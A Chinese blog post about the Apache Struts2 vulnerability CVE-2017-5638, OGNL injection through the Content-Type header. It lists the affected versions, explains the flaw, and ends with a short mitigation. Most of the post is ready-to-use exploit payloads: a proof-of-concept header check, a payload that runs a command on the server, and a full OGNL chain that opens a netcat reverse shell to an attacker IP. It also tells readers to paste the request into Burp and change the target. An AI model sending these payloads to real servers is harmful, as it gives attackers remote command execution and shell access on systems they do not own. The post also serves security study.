免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
CVE-ID:CVE-2017-5638
CNNVD-201703-152
CNVD-2017-02474
Struts 2.3.5 - Struts 2.3.31,Struts 2.5 - Struts 2.5.10
Apache Struts2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类(Jakarta Multipart parser)对上传数据进行解析。
基于JakartaMultipart parser的文件上传模块在处理文件上传(multipart)的请求时候会对异常信息进行捕获,并进行OGNL表达式处理。其在处理Content-Type时,如果获得非预期的值,则抛出异常并且带上Content-Type属性值,并对异常信息进行OGNL表达式解析处理。
攻击者可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程代码执行,进而执行系统命令。如:攻击者可在Content-Type中注入OGNL语言,带有#cmd=字符串,进而执行任意命令。
通过执行远程命令,在系统中获得管理员权限、添加用户、任意查看、修改或删除文件等。可造成机密数据泄露,重要信息遭到篡改等重大危害。
点击查看Exploitation
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
上述Exploitation代码构造http请求报文,其中Content-Type字段的值被执行后,相应包中会增加头字段`vulhub`,值为233*233的计算结果。
直接将如下的Exploitation复制到Burp Suite的Repeater中,修改目标IP
![](https://img2022.cnblogs.com/blog/1419760/202205/1419760-20220516201843069-312273321.png)
点击查看Exploitation代码
Content-Type: haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
上述Exploitation代码,在Content-Type的值中注入OGNL语言,利用exec()函数执行命令。传入参数`calc`可以在服务器上运行一个计算器的程序。
具体漏洞利用过程解释:
由于构造的请求头字段Content-Type内容是不符合格式(非法)的,所以上传出错,抛出异常,其中异常信息就包含ognl格式的字符串
%{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
。
然后,struts2会对异常信息进行ognl处理,一旦用ognl解析这个符合ognl语法格式的字符串,就成功执行命令,运行计算器程序。
点击查看Exploitation代码
Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.0.119 6666').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
上述Exploitation代码,使用`nc`反弹shell,前提是目标机中安装有`nc`。
在StrutsPrepareAndExecuteFilter过滤器前增加一个过滤器,如果发现Content-Type有非法字符,就不再调用struts2的过滤器。
手机扫一扫
移动阅读更方便
你可能感兴趣的文章